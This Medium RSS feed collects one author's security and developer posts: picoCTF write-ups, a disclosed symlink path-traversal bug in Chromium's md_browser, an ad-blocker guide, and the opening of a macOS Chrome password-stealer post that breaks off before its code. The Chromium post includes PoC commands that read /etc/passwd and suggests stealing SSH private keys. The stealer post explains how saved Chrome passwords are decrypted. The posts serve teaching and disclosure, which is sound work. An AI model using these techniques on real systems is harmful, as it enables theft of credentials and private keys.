<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Pi - The Kernel Panic on Medium]]></title>
        <description><![CDATA[Stories by Pi - The Kernel Panic on Medium]]></description>
        <link>https://medium.com/@piyushbhor22?source=rss-566b266bea27------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*gRAXBPESJMJxeLaOjbKhug.jpeg</url>
            <title>Stories by Pi - The Kernel Panic on Medium</title>
            <link>https://medium.com/@piyushbhor22?source=rss-566b266bea27------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 05 Dec 2026 09:18:44 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@piyushbhor22/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Cleaning Up Your GitHub!]]></title>
            <link>https://medium.com/@piyushbhor22/cleaning-up-your-github-f4e08265b0e1?source=rss-566b266bea27------2</link>
            <guid isPermaLink="false">https://medium.com/p/f4e08265b0e1</guid>
            <category><![CDATA[repositories]]></category>
            <category><![CDATA[delete]]></category>
            <category><![CDATA[github]]></category>
            <dc:creator><![CDATA[Pi - The Kernel Panic]]></dc:creator>
            <pubDate>Sat, 27 Sep 2025 16:33:59 GMT</pubDate>
            <atom:updated>2025-09-27T16:33:59.557Z</atom:updated>
            <content:encoded><![CDATA[<p>How to Delete Hundreds of Old Repositories in Minutes</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rLNWbmAix7IWZ_zsXWaLiQ.jpeg" /><figcaption>Photo by <a href="https://unsplash.com/@synkevych?utm_content=creditCopyText&amp;utm_medium=referral&amp;utm_source=unsplash">Roman Synkevych</a> on <a href="https://unsplash.com/photos/blue-and-black-penguin-plush-toy-UT8LMo-wlyk?utm_content=creditCopyText&amp;utm_medium=referral&amp;utm_source=unsplash">Unsplash</a></figcaption></figure><h3>The Problem</h3><p>I have over 100 forked repos on my GitHub that I want to get rid of. I tried doing this manually, only to realize how tedious the whole process is.</p><p>So I decided to automate it, and if you’re in a similar situation, this post is for you.</p><h3>The Solution</h3><p>There are several ways to do this; this is just one of them.</p><p>First, we need to install GitHub’s CLI tool gh :</p><pre>brew install gh</pre><p>Then, login to GitHub:</p><pre>gh auth login</pre><p>Once logged in, get a list of all the repos you own:</p><pre>gh repo list &lt;Github-Username&gt; --limit 200 --json name -q &#39;.[].name&#39;</pre><p>You’ll get something like this:</p><pre>mlflow<br>langchainjs<br>ollama<br>v8-sandbox<br>consoleme<br>onnxruntime<br>pytorch<br>mastodon<br>airflow<br>neural-compressor<br>kubeflow<br>fiftyone<br><br>-- snip --</pre><p>Add these names to a text file called repos.txt. Make sure there are no empty lines or trailing spaces.<br> Remove any repos from this list that you want to keep.</p><p>Finally, run this small bash script in the terminal:</p><pre>while read repo; do<br>  gh repo delete &lt;Github-Username&gt;/$repo --yes<br>done &lt; repos.txt</pre><p>And that’s it! Hundreds of old repos are deleted instantly.</p><h3>Conclusion</h3><p>Hopefully, this post helps you delete all your old and redundant repos painlessly, too!</p><p>Thanks for reading. See you soon.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f4e08265b0e1" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[PicoCTF — Flags are Stepic]]></title>
            <link>https://medium.com/@piyushbhor22/picoctf-flags-are-stepic-616c38a05819?source=rss-566b266bea27------2</link>
            <guid isPermaLink="false">https://medium.com/p/616c38a05819</guid>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[steganography]]></category>
            <category><![CDATA[digital-forensics]]></category>
            <category><![CDATA[picoctf]]></category>
            <category><![CDATA[picoctf-2025]]></category>
            <dc:creator><![CDATA[Pi - The Kernel Panic]]></dc:creator>
            <pubDate>Wed, 02 Apr 2025 06:12:55 GMT</pubDate>
            <atom:updated>2025-04-02T06:12:55.273Z</atom:updated>
            <content:encoded><![CDATA[<h3>PicoCTF — Flags are Stepic</h3><p>Solution to PicoCTF 2025 Forensics Challenge — Flags are Stepic</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*g2ihyamKfCyEY6agNNVD1Q.png" /><figcaption>PicoCTF logo</figcaption></figure><h3>Introduction</h3><p>In this challenge, we are given a website full of different flags, and our goal is to find the secret message stored in one of them.</p><p>Let’s Go!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oX_j0mGuYHewvYzz3ne_aQ.png" /><figcaption>Flags are Stepic Website</figcaption></figure><h3>Solution</h3><h4>Step 1:</h4><p>I wanted to see if any of the flags are suspicious, so I opened the developers menu and checked the network tab.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jY3snIibHaPTaeClPhm91w.png" /></figure><p>Notice, how one of the flag is significantly bigger than the rest? All the other flags are a few KB in size, but one of them ‘upz.png’ is 1.79 MB!</p><p>This strongly suggests there is extra data hidden in this image file.</p><h4>Step 2:</h4><p>I downloaded the image and tried a bunch of online and offline steganography tools to find any hidden data inside this image, but none of them proved useful.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*R0COpXv-X6W2Mxoxoe46og.png" /><figcaption>Suspicious Flag</figcaption></figure><p>Finally, I realised the title of the challenge had the hint the whole time — “Flags are <strong>Stepic.”</strong></p><p><a href="https://pypi.org/project/stepic/">Stepic</a> is a Python module used for Steganography and was probably used to hide the flag inside this image.</p><p>I wrote a small Python script, thanks to this <a href="https://stackoverflow.com/questions/16838341/steganography-in-python-stepic">StackOverflow</a> post, to decode the message:</p><pre>from PIL import Image<br>import stepic<br><br>im1 = Image.open(&#39;upz.png&#39;)<br>s = stepic.decode(im1) <br>print(s)</pre><p>And I found the Flag — “picoCTF{fl4g_h45_fl4g1a2a9157}”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Dh17A5BbqdNkK0u6GO_Hhg.png" /><figcaption>Code Ran on Replit</figcaption></figure><h3>Conclusion</h3><p>I really liked this challenge. I learned about a cool new Python module and also some flags!</p><p>Feel free to send me a message if you have any questions about any of the steps. I am always happy to help.</p><p>Happy Hunting!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=616c38a05819" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[PicoCTF — Flag Hunters]]></title>
            <link>https://medium.com/@piyushbhor22/picoctf-flag-hunters-005e747db6d6?source=rss-566b266bea27------2</link>
            <guid isPermaLink="false">https://medium.com/p/005e747db6d6</guid>
            <category><![CDATA[picoctf-2025]]></category>
            <category><![CDATA[reverse-engineering]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[python]]></category>
            <dc:creator><![CDATA[Pi - The Kernel Panic]]></dc:creator>
            <pubDate>Wed, 02 Apr 2025 05:02:15 GMT</pubDate>
            <atom:updated>2025-04-02T05:02:15.215Z</atom:updated>
            <content:encoded><![CDATA[<h3>PicoCTF — Flag Hunters</h3><p>Solution to PicoCTF 2025 Reverse Engineering Challenge — Flag Hunters.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*g2ihyamKfCyEY6agNNVD1Q.png" /><figcaption>PicoCTF logo</figcaption></figure><h3>Introduction</h3><p><strong>Flag Hunters</strong> is the first reverse engineering challenge of the 2025 PicoCTF. In this challenge, we are given the source code of a Python script called lyric-reader.py. Our goal is to make the script print the secret flag.</p><p>Let’s begin!</p><h4>Source Code</h4><p>Here’s the source code we’ve been given:</p><pre>import re<br>import time<br><br><br># Read in flag from file<br>flag = open(&#39;flag.txt&#39;, &#39;r&#39;).read()<br><br>secret_intro = \<br>&#39;&#39;&#39;Pico warriors rising, puzzles laid bare,<br>Solving each challenge with precision and flair.<br>With unity and skill, flags we deliver,<br>The ether’s ours to conquer, &#39;&#39;&#39;\<br>+ flag + &#39;\n&#39;<br><br><br>song_flag_hunters = secret_intro +\<br>&#39;&#39;&#39;<br><br>[REFRAIN]<br>We’re flag hunters in the ether, lighting up the grid,<br>No puzzle too dark, no challenge too hid.<br>With every exploit we trigger, every byte we decrypt,<br>We’re chasing that victory, and we’ll never quit.<br>CROWD (Singalong here!);<br>RETURN<br><br>[VERSE1]<br>Command line wizards, we’re starting it right,<br>Spawning shells in the terminal, hacking all night.<br>Scripts and searches, grep through the void,<br>Every keystroke, we&#39;re a cypher&#39;s envoy.<br>Brute force the lock or craft that regex,<br>Flag on the horizon, what challenge is next?<br><br>REFRAIN;<br><br>Echoes in memory, packets in trace,<br>Digging through the remnants to uncover with haste.<br>Hex and headers, carving out clues,<br>Resurrect the hidden, it&#39;s forensics we choose.<br>Disk dumps and packet dumps, follow the trail,<br>Buried deep in the noise, but we will prevail.<br><br>REFRAIN;<br><br>Binary sorcerers, let’s tear it apart,<br>Disassemble the code to reveal the dark heart.<br>From opcode to logic, tracing each line,<br>Emulate and break it, this key will be mine.<br>Debugging the maze, and I see through the deceit,<br>Patch it up right, and watch the lock release.<br><br>REFRAIN;<br><br>Ciphertext tumbling, breaking the spin,<br>Feistel or AES, we’re destined to win.<br>Frequency, padding, primes on the run,<br>Vigenère, RSA, cracking them for fun.<br>Shift the letters, matrices fall,<br>Decrypt that flag and hear the ether call.<br><br>REFRAIN;<br><br>SQL injection, XSS flow,<br>Map the backend out, let the database show.<br>Inspecting each cookie, fiddler in the fight,<br>Capturing requests, push the payload just right.<br>HTML&#39;s secrets, backdoors unlocked,<br>In the world wide labyrinth, we’re never lost.<br><br>REFRAIN;<br><br>Stack&#39;s overflowing, breaking the chain,<br>ROP gadget wizardry, ride it to fame.<br>Heap spray in silence, memory&#39;s plight,<br>Race the condition, crash it just right.<br>Shellcode ready, smashing the frame,<br>Control the instruction, flags call my name.<br><br>REFRAIN;<br><br>END;<br>&#39;&#39;&#39;<br><br>MAX_LINES = 100<br><br>def reader(song, startLabel):<br>  lip = 0<br>  start = 0<br>  refrain = 0<br>  refrain_return = 0<br>  finished = False<br><br>  # Get list of lyric lines<br>  song_lines = song.splitlines()<br>  <br>  # Find startLabel, refrain and refrain return<br>  for i in range(0, len(song_lines)):<br>    if song_lines[i] == startLabel:<br>      start = i + 1<br>    elif song_lines[i] == &#39;[REFRAIN]&#39;:<br>      refrain = i + 1<br>    elif song_lines[i] == &#39;RETURN&#39;:<br>      refrain_return = i<br><br>  # Print lyrics<br>  line_count = 0<br>  lip = start<br>  while not finished and line_count &lt; MAX_LINES:<br>    line_count += 1<br>    for line in song_lines[lip].split(&#39;;&#39;):<br>      if line == &#39;&#39; and song_lines[lip] != &#39;&#39;:<br>        continue<br>      if line == &#39;REFRAIN&#39;:<br>        song_lines[refrain_return] = &#39;RETURN &#39; + str(lip + 1)<br>        lip = refrain<br>      elif re.match(r&quot;CROWD.*&quot;, line):<br>        crowd = input(&#39;Crowd: &#39;)<br>        song_lines[lip] = &#39;Crowd: &#39; + crowd<br>        lip += 1<br>      elif re.match(r&quot;RETURN [0-9]+&quot;, line):<br>        lip = int(line.split()[1])<br>      elif line == &#39;END&#39;:<br>        finished = True<br>      else:<br>        print(line, flush=True)<br>        time.sleep(0.5)<br>        lip += 1<br><br><br><br>reader(song_flag_hunters, &#39;[VERSE1]&#39;)</pre><h3>Key Points:</h3><ul><li>The secret_intro is the verse that contains our flag:</li></ul><pre>secret_intro = \<br>&#39;&#39;&#39;Pico warriors rising, puzzles laid bare,<br>Solving each challenge with precision and flair.<br>With unity and skill, flags we deliver,<br>The ether&#39;s ours to conquer, &#39;&#39;&#39;\<br>+ flag + &#39;\n&#39;</pre><ul><li>In the code, we see that the secret_intro verse is added to the top of the song_flag_hunter.</li></ul><pre>song_flag_hunters = secret_intro +\</pre><ul><li>However, the reader starts reading from [VERSE1]:</li></ul><pre>reader(song_flag_hunters, &#39;[VERSE1]&#39;)</pre><ul><li>We need to find a way to make the reader start from the very <strong>first</strong> line.</li></ul><h3>Solution</h3><p>We know that the script takes user input, and this input isn’t sanitized:</p><pre>elif re.match(r&quot;CROWD.*&quot;, line):<br>        crowd = input(&#39;Crowd: &#39;)<br>        song_lines[lip] = &#39;Crowd: &#39; + crowd<br>        lip += 1</pre><p>We also know that we can use the RETURN command to force the reader to read any specific line:</p><pre>elif re.match(r&quot;RETURN [0-9]+&quot;, line):<br>        lip = int(line.split()[1])</pre><p>Since we know that the verse containing our flag starts at the very beginning, we need to pass RETURN 0 to the script. However, if we do this, the script will simply echo RETURN 0 back to us, treating it as a string. To make sure the script interprets RETURN 0 as a command rather than a string, we need to adjust our input slightly.</p><p>Instead of just using RETURN 0, we will use some_string;RETURN 0.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rGJ9jvfOpgiETeMza3PUTQ.png" /><figcaption>Found the flag!</figcaption></figure><p>And voilà! We get the flag: “picoCTF{70637h3r_f0r3v3r_75053bc3}”.</p><h3>Conclusion</h3><p>This challenge was relatively easy, and it’s a great example of why user input should always be sanitized.</p><p>I’ll be posting more PicoCTF 2025 writeups on this blog, so stay tuned!</p><p>Thank you for reading!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=005e747db6d6" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Discovering and Exploiting a Path Traversal Vulnerability in Chromium’s md_browser Tool]]></title>
            <link>https://medium.com/@piyushbhor22/chromiums-path-traversal-vulnerability-ece8be276859?source=rss-566b266bea27------2</link>
            <guid isPermaLink="false">https://medium.com/p/ece8be276859</guid>
            <category><![CDATA[code-analysis]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[chromium]]></category>
            <category><![CDATA[vulnerability-assessment]]></category>
            <category><![CDATA[path-traversal]]></category>
            <dc:creator><![CDATA[Pi - The Kernel Panic]]></dc:creator>
            <pubDate>Sat, 22 Mar 2025 03:15:30 GMT</pubDate>
            <atom:updated>2025-03-22T03:35:08.188Z</atom:updated>
            <content:encoded><![CDATA[<p>A Deep Dive into the Path Traversal Flaw in Chromium’s md_browser Tool.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1pramV4ekbtY0_gBbiXygw.jpeg" /><figcaption>Chromium</figcaption></figure><h3>Introduction</h3><p>While analyzing the source code of Chromium’s repository, I discovered a path traversal vulnerability in one of its tools, md_browser.</p><p>Although this vulnerability is not particularly severe, it&#39;s important to be aware of, as it allows an attacker to read any file on the victim&#39;s system if they are tricked into hosting a malicious markdown file using md_browser.</p><h3>Technical Write-up</h3><h4>High-level Overview and Effects of the Vulnerability</h4><p>A path traversal vulnerability exists in Chromium’s md_browser.pyscript, which allows a remote attacker to read arbitrary files on a server running the script. This issue arises due to the lack of validation for symlinks in hosted directories, enabling attackers to access sensitive files such as SSH private keys or system configuration files.</p><h4>The Vulnerable Product</h4><ul><li><strong>Product</strong>: Chromium</li><li><strong>Module</strong>: md_browser</li><li><strong>File</strong>: tools/md_browser/md_browser.py</li><li><strong>Version</strong>: Latest</li></ul><h4>Detailed Description of the Vulnerability</h4><p>Chromium’s md_browser.pyscript is designed to host markdown files from a user-specified directory. However, the script does not validate if files being served via HTTP are symlinks pointing outside the specified directory. An attacker can exploit this by sending the victim a malicious markdown file containing a symlink to sensitive system files. Once the victim hosts the directory, the attacker can retrieve the targeted files via a crafted HTTP request.</p><h4>Code Flow from Input to the Vulnerable Condition</h4><p>1. <strong>Attacker Setup:</strong> The attacker creates a markdown file (malicious.md) containing a symlink to a sensitive file, such as/etc/passwd.</p><p>2. <strong>Victim Action:</strong> The victim places the malicious.mdfile in the directory they want to host, e.g., ~/chromium-test .</p><p>3. <strong>Server Hosting: </strong>The victim runs the script to serve the directory over an external IP, e.g:</p><pre>python md_browser.py - directory ~/chromium-test - external &lt;IP&gt; - port 8080</pre><p>4. <strong>Exploitation:</strong> The attacker sends an HTTP request to fetch malicious.md :</p><pre>curl http://localhost:8080/malicious.md</pre><p>5. <strong>Impact:</strong> The server responds with the content of the symlinked file (e.g. /etc/passwd )</p><h4>Suggested Fixes in the Source Code</h4><p>To mitigate this vulnerability, a function should be added to validate whether a file or symlink resides within the designated root directory:</p><pre>def is_safe_symlink(path, base_dir): <br>   real_path = os.path.realpath(path) <br>   return real_path.startswith(base_dir)</pre><p>This validation can then be integrated into the Handler class&#39;s do_GET method to block requests for symlinks pointing outside the intended directory:</p><pre>if not is_safe_symlink(full_path, self.server.top_level): <br>   self._DoNotFound() # Prevent access to unsafe symlinks <br>   return</pre><h4>Proof-of-Concept (PoC)</h4><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FfHwgXtrVBZM%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DfHwgXtrVBZM&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FfHwgXtrVBZM%2Fhqdefault.jpg&amp;type=text%2Fhtml&amp;schema=youtube" width="640" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/ad38f22b8be513d99b585c745cb46ed7/href">https://medium.com/media/ad38f22b8be513d99b585c745cb46ed7/href</a></iframe><h4>Steps to Reproduce POC</h4><ol><li><strong>Create a Malicious File:</strong> Create a markdown file (malicious.md) with a symlink to a sensitive file:</li></ol><pre>ln -s /etc/passwd malicious.md</pre><p>2. <strong>Setup Directory:</strong> Place malicious.md in a directory, e.g.,~/Desktop/chromium-test</p><p>3. <strong>Download Chromium:</strong></p><pre>git clone https://chromium.googlesource.com/chromium/src</pre><p>4. <strong>Navigate to the script:</strong> `cd tools/md_browser/md_browser.py` and run:</p><pre>python md_browser.py - directory ~/Desktop/chromium-test - port 8080</pre><blockquote>Note: We can skip the ` — external` parameter if we are hosting the files on localhost for Demo</blockquote><p>5. <strong>Exploit the Vulnerability:</strong> Query the malicious file using curl to retrieve /etc/passwd</p><pre>curl http://localhost:8080/malicious.md</pre><blockquote><strong>Note: </strong>An attacker can create a symlink to `~/.ssh/id_rsa` instead to steal a user’s private ssh key and then use that key to login as the user through ssh. If the script is run as root, the attacker can create a symlink to `/root/.ssh/id_rsa` and get root access to the server.</blockquote><h3>Conclusion</h3><p>I notified Chromium’s security team about the vulnerability; however, they weren’t interested in fixing it. While I don’t think this vulnerability will be exploited in the wild, I wanted to make others aware that it exists.</p><p>Thank you for reading my article.</p><p>Stay safe and happy bug hunting!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ece8be276859" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Build Your Own Ad-Blocker: A Step-by-Step Guide]]></title>
            <link>https://medium.com/@piyushbhor22/build-your-own-ad-blocker-a-step-by-step-guide-a8baf6246215?source=rss-566b266bea27------2</link>
            <guid isPermaLink="false">https://medium.com/p/a8baf6246215</guid>
            <category><![CDATA[ad-blocker-for-browser]]></category>
            <category><![CDATA[chrome]]></category>
            <category><![CDATA[privacy]]></category>
            <category><![CDATA[adblock]]></category>
            <category><![CDATA[chrome-ad-blocker]]></category>
            <dc:creator><![CDATA[Pi - The Kernel Panic]]></dc:creator>
            <pubDate>Sat, 15 Mar 2025 03:38:45 GMT</pubDate>
            <atom:updated>2025-08-17T08:03:14.756Z</atom:updated>
            <content:encoded><![CDATA[<p>A Simple Guide to Building Your Own Chrome Ad-Blocker from Scratch</p><figure><img alt="A wall featuring a painted white square, within which is a detailed depiction of a security camera." src="https://cdn-images-1.medium.com/max/1024/1*r_v12cKdyON4ZkYkQBZDZQ.jpeg" /><figcaption>Photo by <a href="https://unsplash.com/@tobiastu?utm_content=creditCopyText&amp;utm_medium=referral&amp;utm_source=unsplash">Tobias Tullius</a> on <a href="https://unsplash.com/photos/black-and-white-rectangular-frame-4dKy7d3lkKM?utm_content=creditCopyText&amp;utm_medium=referral&amp;utm_source=unsplash">Unsplash</a></figcaption></figure><h3>Why should you make your own Ad-Blocker?</h3><p>There are many great free and open-source Ad Blockers out there, so you might be thinking, why do I need to make my own? Good question!</p><p>For most people, using a pre-existing, free, open-source ad blocker works just fine. However, if you’re more privacy-conscious and want greater control over the extensions you install, building your own is worth considering for several reasons:</p><ol><li>When you install an ad blocker, you’re granting the extension permission to view and modify every web request you make.</li><li>If the ad blocker you’re using isn’t open-source, you have no idea what data it’s collecting or what requests it’s modifying.</li><li>Even if the ad blocker you use is trusted, if it gets compromised in a cyberattack, the extension might no longer be secure.</li><li>Regardless of these points, it’s always risky to let a third party monitor every web page you visit (including in Incognito mode).</li></ol><h3>How to make your own Ad-Blocker</h3><p>If you’re convinced, let’s dive in! I promise it’s easier than you think.<br> Creating a Chrome extension typically requires three main files: manifest.json, background.js, and content.js.</p><p>For our purposes, we’ll need two additional files:</p><ol><li>A text file containing the ad domains you want to block (I’ll tell you where to find this later).</li><li>An optional image file for the icon.</li></ol><p>First, create a folder and name it after your ad blocker. For this tutorial, we’ll use <strong>KernelPanicAd-Blocker</strong>.</p><p>Your directory structure should look like this:</p><pre>/KernelPanicAd-Blocker  <br>  |- /blocklists  <br>     |- easylist.txt  <br>  |- background.js  <br>  |- content.js  <br>  |- icon.png  <br>  |- manifest.json</pre><h4>Manifest.json</h4><p>The manifest.json file contains your extension’s metadata (name, version, description), permissions, background scripts, icons, and more.</p><p>You can customize the name, version, description, and icon to your liking. Just keep the rest as-is:</p><pre>{<br>    &quot;manifest_version&quot;: 3,<br>    &quot;name&quot;: &quot;KernelPanicAd-Blocker&quot;,<br>    &quot;version&quot;: &quot;1.0&quot;,<br>    &quot;description&quot;: &quot;Personal Ad-Blocker created by The Kernel Panic&quot;,<br>    &quot;permissions&quot;: [&quot;declarativeNetRequest&quot;, &quot;scripting&quot;, &quot;storage&quot;],<br>    &quot;host_permissions&quot;: [&quot;&lt;all_urls&gt;&quot;],<br>    &quot;background&quot;: {<br>      &quot;service_worker&quot;: &quot;background.js&quot;<br>    },<br>    &quot;content_scripts&quot;: [<br>      {<br>        &quot;matches&quot;: [&quot;&lt;all_urls&gt;&quot;],<br>        &quot;js&quot;: [&quot;content.js&quot;],<br>        &quot;run_at&quot;: &quot;document_start&quot;<br>      }<br>    ],<br>    &quot;icons&quot;: {<br>      &quot;512&quot;: &quot;icon.png&quot;<br>    }<br>  }</pre><h4>Background.js</h4><p>This script runs in the background, handling tasks like monitoring tabs, managing state, or interacting with APIs.</p><p>Our background.js script will monitor web requests, check if they’re coming from known ad domains (listed in blocklists/easylist.txt), and block them.</p><pre>async function loadAdDomains() {<br>    try {<br>      const response = await fetch(chrome.runtime.getURL(&quot;blocklists/easylist.txt&quot;));<br>      const text = await response.text();<br>  <br>      // Regular expression to extract domain-based rules<br>      const domainRegex = /^(?:\|\|)?([a-zA-Z0-9.-]+)\^?$/gm;<br>      const adDomains = [];<br>  <br>      let match;<br>      while ((match = domainRegex.exec(text)) !== null) {<br>        if (match[1]) {<br>          adDomains.push(`*://*.${match[1]}/*`);<br>        }<br>      }<br>  <br>      updateRules(adDomains);<br>    } catch (error) {<br>      console.error(&quot;Failed to load ad domains:&quot;, error);<br>    }<br>  }<br>  <br>  function updateRules(adDomains) {<br>    chrome.declarativeNetRequest.updateDynamicRules({<br>      addRules: adDomains.map((url, id) =&gt; ({<br>        id: id + 1,<br>        priority: 1,<br>        action: { type: &quot;block&quot; },<br>        condition: { urlFilter: url }<br>      })),<br>      removeRuleIds: Array.from({ length: adDomains.length }, (_, i) =&gt; i + 1)<br>    });<br>  }<br>  <br>  // Load and apply the block list<br>  loadAdDomains();</pre><h4>Content.js</h4><p>This script runs in the context of web pages and can modify their content or interact with the DOM (Document Object Model).</p><p>In our case, content.js will remove the ads directly from the page.</p><pre>const adSelectors = [<br>    &quot;iframe[src*=&#39;ads&#39;]&quot;,<br>    &quot;div[id*=&#39;ads&#39;], div[class*=&#39;ads&#39;]&quot;,<br>    &quot;ins.adsbygoogle&quot;,<br>    &quot;div[class*=&#39;sponsored&#39;]&quot;,<br>    &quot;div[class*=&#39;ad-container&#39;]&quot;,<br>    &quot;aside&quot;<br>  ];<br>  <br>  function removeAds() {<br>    adSelectors.forEach(selector =&gt; {<br>      document.querySelectorAll(selector).forEach(ad =&gt; ad.remove());<br>    });<br>  }<br>  <br>  // Remove ads immediately and on DOM updates<br>  removeAds();<br>  new MutationObserver(removeAds).observe(document, { childList: true, subtree: true });</pre><h4>Blocklists</h4><p>There are several excellent blocklists available. My favourite is <strong>Easylist</strong>, which is open-source and regularly updated. You can download it from <a href="https://easylist.to/">here</a>.</p><h3>Conclusion</h3><p>That’s it! Creating your own ad blocker is surprisingly simple. Easylist offers a variety of blocklists, not just for ad domains, and you can easily add those to your ad blocker based on your specific needs.</p><p>Stay safe, and happy coding!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a8baf6246215" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Building OSX Chrome Harvester]]></title>
            <link>https://medium.com/@piyushbhor22/building-osx-chrome-harvester-26513e1cdc3a?source=rss-566b266bea27------2</link>
            <guid isPermaLink="false">https://medium.com/p/26513e1cdc3a</guid>
            <category><![CDATA[chrome]]></category>
            <category><![CDATA[macos]]></category>
            <category><![CDATA[malware]]></category>
            <category><![CDATA[password-security]]></category>
            <category><![CDATA[malware-development]]></category>
            <dc:creator><![CDATA[Pi - The Kernel Panic]]></dc:creator>
            <pubDate>Tue, 14 Jan 2025 10:39:10 GMT</pubDate>
            <atom:updated>2025-01-14T10:39:10.647Z</atom:updated>
            <content:encoded><![CDATA[<p><em>Understanding Chrome password security by building an OSX malware that steals passwords stored in Chrome.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7hXAGpiCAfYDWyvcD_VB9w.jpeg" /><figcaption>Photo by <a href="https://unsplash.com/@jackson_893?utm_content=creditCopyText&amp;utm_medium=referral&amp;utm_source=unsplash">Michael Geiger</a> on <a href="https://unsplash.com/photos/macbook-pro-turned-on-JJPqavJBy_k?utm_content=creditCopyText&amp;utm_medium=referral&amp;utm_source=unsplash">Unsplash</a></figcaption></figure><h3>Table of Contents</h3><ol><li>Introduction</li><li>How Does Chrome Keep Your Passwords Safe?</li><li>Password Encryption Overview</li><li>Chrome’s Safe Storage Key</li><li>How Can We Attack Chrome?</li><li>Building the Malware</li><li>Conclusion</li></ol><h3>Introduction</h3><p>Lately, I have been researching OSX malware, and the best way to learn something is to build it. In this blog post, I will explain how Chrome password stealers work and how you can make your own.</p><p>You’ll find a detailed breakdown of Chrome’s password storage mechanisms, attack strategies, and a step-by-step guide to building a proof-of-concept malware. If you want an example, I’ve also included a link to my GitHub repository with complete code and documentation.</p><p><strong><em>Disclaimer</em></strong><em>: This post and the accompanying code are strictly for educational purposes. Misusing this information is illegal and unethical. Please use it responsibly.</em></p><h3>Part 1 — How Does Chrome Keep Your Passwords Safe?</h3><p>Before we attack a system, it’s important to understand how it works. Let’s start by exploring how Chrome protects your saved passwords.</p><h4>Password Encryption Overview</h4><p>Chrome uses AES-128-CBC encryption to secure your saved passwords. The encryption process relies on a PBKDF2 hash that creates the encryption key. This key is generated using the following parameters:</p><ul><li><strong>IV</strong>: A 128-bit initialization vector.</li><li><strong>Salt</strong>: A fixed value, “saltysalt.”</li><li><strong>Iterations</strong>: 1003 iterations of PBKDF2 hashing.</li><li><strong>Password</strong>: A unique key stored in the macOS Keychain, known as Chrome’s Safe Storage Key.</li></ul><p>The encrypted passwords are stored in an SQLite3 database located at:</p><p>“~/Library/Application Support/Google/Chrome/Profile*/Login Data.”</p><p>Steve Perry talks in depth about this topic in his blog post “<a href="https://medium.com/@stevemarkperry/how-chrome-stores-your-passwords-windows-macos-and-why-you-still-shouldnt-let-it-de3774886733">How Chrome stores your passwords (Windows &amp; macOS), and why you (still) shouldn’t let it,</a>” and I highly recommend it!</p><h4>Chrome’s Safe Storage Key</h4><p>The Safe Storage Key is essential for decrypting passwords and is stored in the macOS Keychain. Without this key, the encrypted data in the SQLite database cannot be decrypted.</p><h3>Part 2 — How Can We Attack Chrome?</h3><p>To retrieve plaintext passwords, we need three things:</p><ol><li>The Login Data database file.</li><li>Chrome’s Safe Storage Key from the macOS Keychain.</li><li>A function to decrypt the passwords using the extracted key.</li></ol><p>So, our attack plan involves:</p><ol><li>Locating and extracting the Login Data file.</li><li>Accessing the Safe Storage Key from macOS Keychain.</li><li>Using AES decryption to retrieve plaintext passwords.</li></ol><p>There are a few GitHub projects out there that demonstrate this process, but most of them are built for Windows. After some digging, I found a <a href="https://github.com/vinniedaboi/OSXpasswordstealer">project</a> specifically designed for macOS. It served as a great starting point, and I encourage you to check it out!</p><h3>Part 3 — Building the Malware</h3><p>You can find the complete code for this project on my <a href="https://github.com/Piyush-Bhor/osx-chrome-harvester">GitHub</a> repository. Below is an overview of the implementation steps:</p><pre>██████╗ ███████╗██╗  ██╗<br>██╔═══██╗██╔════╝╚██╗██╔╝<br>██║   ██║███████╗ ╚███╔╝     █████╗<br>██║   ██║╚════██║ ██╔██╗     ╚════╝<br>╚██████╔╝███████║██╔╝ ██╗<br> ╚═════╝ ╚══════╝╚═╝  ╚═╝<br><br> ██████╗██╗  ██╗██████╗  ██████╗ ███╗   ███╗███████╗<br>██╔════╝██║  